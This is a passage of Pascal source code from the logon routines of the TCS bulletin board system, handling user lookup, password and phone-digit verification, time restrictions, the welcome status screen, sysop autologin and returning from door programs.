  944.         enterednum:=valu(unam)<>0;
  945.         if hungupon then unum:=-1 else
  946.           if length(unam)=0
  947.             then newuser
  948.             else begin
  949.               unum:=lookupuser (unam);
  950.               if unum=0
  951.                 then
  952.                   begin
  953.                     writestr ('Not found!  Are you new? *');
  954.                     if yes then newuser
  955.                   end
  956.                 else if not enterednum
  957.                   then writeln (^M'Use ',unum,' for faster logon.')
  958.             end
  959.       end
  960.     until unum<>0
  961.   end;
  962.  
  963.   procedure getpwd;
  964.   var u:userrec;
  965.       lo:byte;
  966.       x,y:string;
  967.       ok:boolean;
  968.  
  969.   begin
  970.     ok:=false;
  971.     seek (ufile,unum);
  972.     read (ufile,u); che;
  973.     if not checkpassword(u) then begin
  974.       nicetry;
  975.       writelog (0,2,unam)
  976.      end;
  977.     if u.hack>0 then
  978.     begin
  979.     lo:=0;
  980.     write (^M^M);
  981.     writeln ('We believe your account has been subjected to hack attempts,');
  982.     writeln ('to verify that you are a true user ... ');
  983.     repeat
  984.       writestr (^M'Please enter the last four digits of your phone number: (NPA)-PRE-*');
  985.       if input=copy(u.phonenum,7,4) then ok:=true;
  986.       lo:=lo+1;
  987.     until (lo=4) or ok;
  988.     if not ok then begin
  989.       writeln (^M^M'I am sorry but you have not answered correctly.  If you have forgotten');
  990.       writeln ('your phone number leave mail to the sysop.  If you are a hacker then');
  991.       writeln ('bite the big muscle guy.');
  992.       nicetry;
  993.       writeln (^M)
  994.     end else writeln (^M^M'Thank you for your cooperation. ');
  995.    end;
  996.   end;
  997.  
  998.     procedure writeavail;
  999.  
  1000.       function firstchar(instring:string):char;
  1001.       begin
  1002.         firstchar:=instring[1]
  1003.       end;
  1004.  
  1005.     var m,mm:char;
  1006.         mmm :sstr;
  1007.     begin
  1008.       mmm:=sysopavailstr;
  1009.       m:=upcase(firstchar(copy(mmm,1,1)));
  1010.       mm:=upcase(firstchar(copy(mmm,9,1)));
  1011.       if m='Y' then printxy(23,9,^U+'Yes') else
  1012.         printxy(23,9,^U+'No');
  1013.       if mm='Y' then printxy(23,9,^U+'Yes') else
  1014.         printxy(23,9,^U+'No');
  1015.     end;
  1016.  
  1017.   procedure inituser;
  1018.   var asc:boolean;
  1019.  
  1020.     procedure stat;
  1021.     begin
  1022.      ansicolor (urec.statcolor);
  1023.     end;
  1024.  
  1025.     procedure reg;
  1026.     begin
  1027.      ansicolor (urec.regularcolor);
  1028.     end;
  1029.  
  1030.   var m:mailrec;
  1031.       cnt,gnumsgs,gnufiles,gnugfiles,gnudbases,clicheline:integer;
  1032.       tmp:lstr;
  1033.       sysnot:text;
  1034.   const inoutstr:array [false..true] of string[3]=('Out','In');
  1035.   begin
  1036.     readurec;
  1037.     if withintime (timereststart,timerestend) then begin
  1038.      if ulvl<timerestlvl then begin
  1039.       writeln;
  1040.       writeln ('TIME RESTRICT is in effect now! ('+timestr(now)+')');
  1041.       writeln ('You must be Level '+strr(timerestlvl)+' to use the BBS at this time.');
  1042.       writeln ('Since you do not fit in this category you are being logged off.');
  1043.       writeln ('Call back later when Time Restrict is not in effect!');
  1044.       writeln;
  1045.       disconnect;
  1046.      end;
  1047.     end;
  1048.     if ulvl=-1 then begin
  1049.       byebye ('Trashcan');
  1050.       exit
  1051.     end;
  1052.     if requireforms and (urec.infoform1<0) then infoform (1);
  1053.     if local
  1054.       then tmp:=' [Local]'
  1055.       else tmp:=' at '+baudstr;
  1056.     writelog (0,1,unam+tmp);
  1057.     with urec do begin
  1058.       numon:=numon+1;
  1059.       numcallers:=numcallers+1;
  1060.       callstoday:=callstoday+1;
  1061.       asc:=asciigraphics in config;
  1062.       if datepart(laston)<>datepart(now) then begin
  1063.         cnt:=ulvl;
  1064.         if cnt<1 then cnt:=1;
  1065.         if cnt>100 then cnt:=100;
  1066.         timetoday:=usertime[cnt]
  1067.       end;
  1068.       if (timetillevent<timetoday+3) and (timetillevent<=63) then begin
  1069.         writestr (^M'Due to a timed event scheduled for '+eventtime+',');
  1070.         writeln ('your time today is limited to ',timetillevent-3,' mins.')
  1071.       end;
  1072.      if (ansigraphics in urec.config) then begin
  1073.       write (#27+'[2J');
  1074.       randomize;
  1075.        printfile (textfiledir+'Welcome.'+strr(random(numwelcomes)+1));
  1076.       movexy (1,urec.displaylen);
  1077.       writestr (^P'Press [Return] to continue.*');
  1078.      end else begin
  1079.       printfile (textfiledir+'Welcome.Asc');
  1080.       writestr (^P'Press [Return] to continue.*');
  1081.      end;
  1082.      if (ansigraphics in urec.config) then begin
  1083.       write (^B^M);
  1084.      clearscr;
  1085.      writeln (^R'                        ┌──────────────────────────┐');
  1086.      writeln ('                        │ '^S'TCS '+ver+' - '+parsedate(date)+^R'  │');
  1087.      writeln ('  ╒═════════════════════╧═══════════╕  ╒═══════════╧═════════════════════╕  ');
  1088.      writeln ('  │ '^S'Last Date Online:'^R'               ├──┤ '^S'New Messages :'^R'                  │  ');
  1089.      writeln ('  │ '^S'Last Time Online:'^R'               │  │ '^S'New Files    :'^R'                  │  ');
  1090.      writeln ('  │ '^S'Hack Attempts   :'^R'               │  │ '^S'New Gfiles   :'^R'                  │  ');
  1091.      writeln ('  │ '^S'Total Calls     :'^R'               │  │ '^S'New Database :'^R'                  │  ');
  1092.      writeln ('  │ '^S'Total Time On   :'^R'               │  │ '^S'New Callers  :'^R'                  │  ');
  1093.      writeln ('  │ '^S'Sysop Available :'^R'               │  │ '^S'E-Mail       :'^R'                  │  ');
  1094.      writeln ('  ╘══════════════════════════════╤══╛  ╘══╤══════════════════════════════╛  ');
  1095.      writeln ('  ╒══════════════════════════════╧════════╧══════════════════════════════╕  ');
  1096.      writeln ('  │ '^S'User Name  :'^R'                         '^S'Uploads       :'^R'                 │  ');
  1097.      writeln ('  │ '^S'User Level :'^R'                         '^S'Downloads     :'^R'                 │  ');
  1098.      writeln ('  │ '^S'Xfer Level :'^R'                         '^S'File Points   :'^R'                 │  ');
  1099.      writeln ('  │ '^S'Gfile Level:'^R'                         '^S'Last Caller   :'^R'                 │  ');
  1100.      writeln ('  │ '^S'Time Today :'^R'                                                         │  ');
  1101.      writeln ('  ╘═════════════════════╤══════════════════════════╤═════════════════════╛  ');
  1102.      writeln ('                        │       '^S' User Note '^R'        │  ');
  1103.      writeln ('  ╒═════════════════════╧══════════════════════════╧═════════════════════╕  ');
  1104.      writeln ('  │                                                                      │  ');
  1105.      writeln ('  ╘══════════════════════════════════════════════════════════════════════╛  ');
  1106.      if laston<>0 then
  1107.      printxy (23,4,^U+datestr(laston)) else
  1108.      printxy (23,4,^U'Never');
  1109.      xlaston:=laston;
  1110.      subs1.laston:=laston;
  1111.      laston:=now;
  1112.      if laston<>0 then
  1113.        printxy (23,5,^U+timestr(laston))
  1114.         else
  1115.        printxy (23,5,^U'Never');
  1116.      if urec.hack=0 then
  1117.        printxy (23,6,^U'None')
  1118.      else
  1119.        printxy (23,6,^U+strr(urec.hack));
  1120.      printxy (23,7,^U+strr(urec.numon));
  1121.      printxy (23,8,^U+streal(urec.totaltime));
  1122.      writeavail;
  1123. {New X's status}
  1124.      gnumsgs:=(messages-urec.lastmessages);
  1125.      gnufiles:=(ups-urec.lastups);
  1126.      gnugfiles:=(gfilez-urec.lastgfiles);
  1127.      gnudbases:=(dbases-urec.lastdbases);
  1128.      if gnumsgs<1 then gnumsgs:=0;
  1129.      if gnufiles<1 then gnufiles:=0;
  1130.      if gnugfiles<1 then gnugfiles:=0;
  1131.      if gnudbases<1 then gnudbases:=0;
  1132.      urec.lastmessages:=messages;
  1133.      urec.lastups:=ups;
  1134.      urec.lastgfiles:=gfilez;
  1135.      urec.lastdbases:=dbases;
  1136.      {printxy (51,4,^S'New Messages :');}
  1137.      if gnumsgs<1 then
  1138.      printxy (57,4,^U'None')
  1139.        else
  1140.      printxy (57,4,^U+strr(gnumsgs));
  1141.      if gnufiles<1 then
  1142.      printxy(57,5,^U'None')
  1143.        else
  1144.      printxy (57,5,^U+strr(gnufiles));
  1145.      if gnugfiles<1 then
  1146.      printxy(57,6,^U'None')
  1147.        else
  1148.      printxy(57,6,^U+strr(gnugfiles));
  1149.      if gnudbases<1 then
  1150.      printxy(57,7,^U'None')
  1151.        else
  1152.      printxy(57,7,^U+strr(gnugfiles));
  1153.  
  1154.      {if gnucallers<1 then
  1155.      PrintXY(57,8,^U'None')
  1156.      else
  1157.      PrintXY(57,8,^U+strr(gnucallers));}
  1158.  
  1159.      cnt:=getnummail (unum);
  1160.      if cnt<1 then
  1161.      printxy(57,9,^U'None')
  1162.        else
  1163.      printxy (57,9,^U+strr(cnt));
  1164.      printxy (18,12,^U+urec.handle);
  1165.      printxy (18,13,^U+strr(urec.level));
  1166.      printxy (18,14,^U+strr(urec.udlevel));
  1167.      printxy (18,15,^U+strr(urec.gflevel));
  1168.      printxy (18,16,^U+strr(urec.timetoday));
  1169.      printxy (58,12,^U+streal(urec.upk/1000)+'k');
  1170.      printxy (58,13,^U+streal(urec.downk/1000)+'k');
  1171.      printxy (58,14,^U+strr(urec.udpoints));
  1172.      printxy (58,15,^U+getlastcaller);
  1173.  
  1174.      if useqr then begin
  1175.        calcqr;
  1176.        printxy(42,16,^S'Quality Rating:');
  1177.        printxy(58,16,^U+strr(qr));
  1178.      end;
  1179.      printxy((35-trunc(length(urec.note)/2))+3,20,^U+urec.note);
  1180.      if usecliche then begin
  1181.         if length(cliche)>0 then begin
  1182.           printxy (1,21,'');
  1183.           writeln (^S+cliche+^R);
  1184.         end;
  1185.       end;
  1186.      printxy(1,22,'');
  1187.      urec.hack:=0;
  1188.    end;
  1189.       writestr (^R'Press '^U'['^S'Return'^U']'^R' to continue.*');
  1190.  
  1191.  
  1192.       cnt:=getnummail(unum);
  1193.       if cnt>0
  1194.         then writeln (^B^G^S'You have '^R,cnt,
  1195.                  ^S' piece',s(cnt),' of mail waiting!  Use '^R'[E]'^S' to read.');
  1196.       if (ulvl>=sysoplevel) then begin
  1197.         if numfeedback>0 then begin
  1198.           thereisare (numfeedback);
  1199.           writeln ('piece',s(cnt),' of feedback waiting!  Use '^S'[%,F]'^R' to read.')
  1200.         end;
  1201.       if exist ('Errlog')
  1202.           then writeln (^B^G^R'Errors have occured!  Use '^S'[%,E]'^R' to read.')
  1203.        end;
  1204.       if newusers>0 then begin
  1205.        writeln (^S,strr(newusers)+^R' New User',s(cnt),' applied for access.');
  1206.       end;
  1207.       writeln;
  1208.       if inoutstr[sysopisavail]='In' then writeln (^S+availstr+^R) else
  1209.        writeln (^S+notavailstr+^R);
  1210.       logontime:=timer;
  1211.       logofftime:=timer+timetoday;
  1212.       logonunum:=unum;
  1213.     end;
  1214.     addlastcaller (unam);
  1215. {    writeurec;}
  1216.     bottomline;
  1217.     if (issysop) and (exist (forumdir+'System.Not')) then begin
  1218.      writeln;
  1219.      writestr ('Attention Sysop! There are System Notifications!');
  1220.      writestr ('Do you want to read them now [Y/n]? *');
  1221.      if (length(input)=0) or (upcase(input[1])='Y') then
  1222.      begin
  1223.       assign (sysnot,forumdir+'System.Not');
  1224.       printfile (forumdir+'System.Not');
  1225.       writestr (^M'Delete System Notification File [y/n]? *');
  1226.       if yes then erase (sysnot);
  1227.      end else writeln (^M^S'Be sure to read them soon then.'^R^M);
  1228.     end;
  1229.     if wanted in urec.config then if sysopisavail then begin
  1230.       writeln (^B^G,sysopname,' wishes to speak with you.');
  1231.       writeln ('Paging - please stand by...'^M);
  1232.       for cnt:=1 to 25 do if not keyhit then summonbeep;
  1233.       chatmode:=true
  1234.     end;
  1235.     printnews;
  1236.     if tonext>-1 then begin
  1237.       writehdr ('Auto-Message');
  1238.       printtext (tonext)
  1239.     end;
  1240.     disconnected:=false
  1241.   end;
  1242.  
  1243. var thebaud:string;
  1244. begin
  1245.   stoptimer (numminsidle);
  1246.   starttimer (numminsused);
  1247.   textcolor (normbotcolor);
  1248.   clrscr;
  1249.   initwinds;
  1250.   fillchar (urec,sizeof(urec),0);
  1251.   urec.config:=[lowercase,linefeeds,eightycols,asciigraphics];
  1252.   uselinefeeds:=true;
  1253.   usecapsonly:=false;
  1254.   getsystempassword;
  1255.   clearscr;
  1256.   writeln;
  1257.   str (baudrate,thebaud);
  1258.   if local then thebaud:='Local' else thebaud:=thebaud+' bps';
  1259.   writeln (^R'TCS BBS '+ver+' '+parsedate(date)+' Online');
  1260.   writeln (^R'Programming by TCS Executive Staff');
  1261.   Writeln (^R'Programmers: Lord Zombie, Kid Devious, Renegade Bithead.');
  1262.   Writeln (^R'Staff      : Barimor, Maniac, Doc. Savage.');
  1263.   writeln (^R'Active on Port '+strr(usecom)+' at '+timestr(now)+' [',thebaud,']');
  1264.   writeln;
  1265.   printfile (textfiledir+'Prelogon.BBS');
  1266.   if withintime (timereststart,timerestend) then begin
  1267.    writeln;
  1268.    writeln (^R^B'TIME RESTRICT is in effect right now! ('+timestr(now)+')');
  1269.    writeln (^R^B'You must be Level '+strr(timerestlvl)+' or above to logon.');
  1270.    writeln;
  1271.   end;
  1272.   if autologin and local and (not carrier) then begin
  1273.     writeln (^R'*** '^S'[SYSOP AUTOLOGIN]'^R' ***');
  1274.     unum:=lookupuser (sysopname);
  1275.     if unum=0
  1276.       then writeln (usr,'User ',sysopname,' not found!')
  1277.       else begin
  1278.         unum:=1;
  1279.         inituser;
  1280.         exit
  1281.       end
  1282.   end;
  1283.   getunum;
  1284.   if hungupon then exit;
  1285.   if not isnew then getpwd;
  1286.   if hungupon then exit;
  1287.   inituser
  1288. end;
  1289.  
  1290. procedure returnfromdoor;
  1291. var t:sstr;
  1292. begin
  1293.   if not fromdoor then exit;
  1294.   readdataarea;
  1295.   baudrate:=valu(paramstr(2));
  1296.   parity:=boolean(valu(paramstr(3)));
  1297.   online:=baudrate<>0;
  1298.   local:=not online;
  1299.   if baudrate=0 then baudrate:=defbaudrate;
  1300.   setparam (usecom,baudrate,parity);
  1301.   if unum=valu(paramstr(1)) then readurec else begin
  1302.     unum:=valu(paramstr(1));
  1303.     readurec;
  1304.     if (unum<1) or (unum>numusers) then begin
  1305.       unum:=-1;
  1306.       exit
  1307.     end;
  1308.     logontime:=timer;
  1309.     logofftime:=timer+urec.timetoday
  1310.   end;
  1311.   if hungupon then begin
  1312.     unum:=-1;
  1313.     exit
  1314.   end;
  1315.   fromdoor:=true;
  1316.   settimeleft (urec.timetoday);
  1317.   t:=paramstr(4);
  1318.   if t=''
  1319.     then returnto:='D'
  1320.     else returnto:=upcase(t[1])
  1321. end;
  1322.  
  1323. begin
  1324. end.
  1325.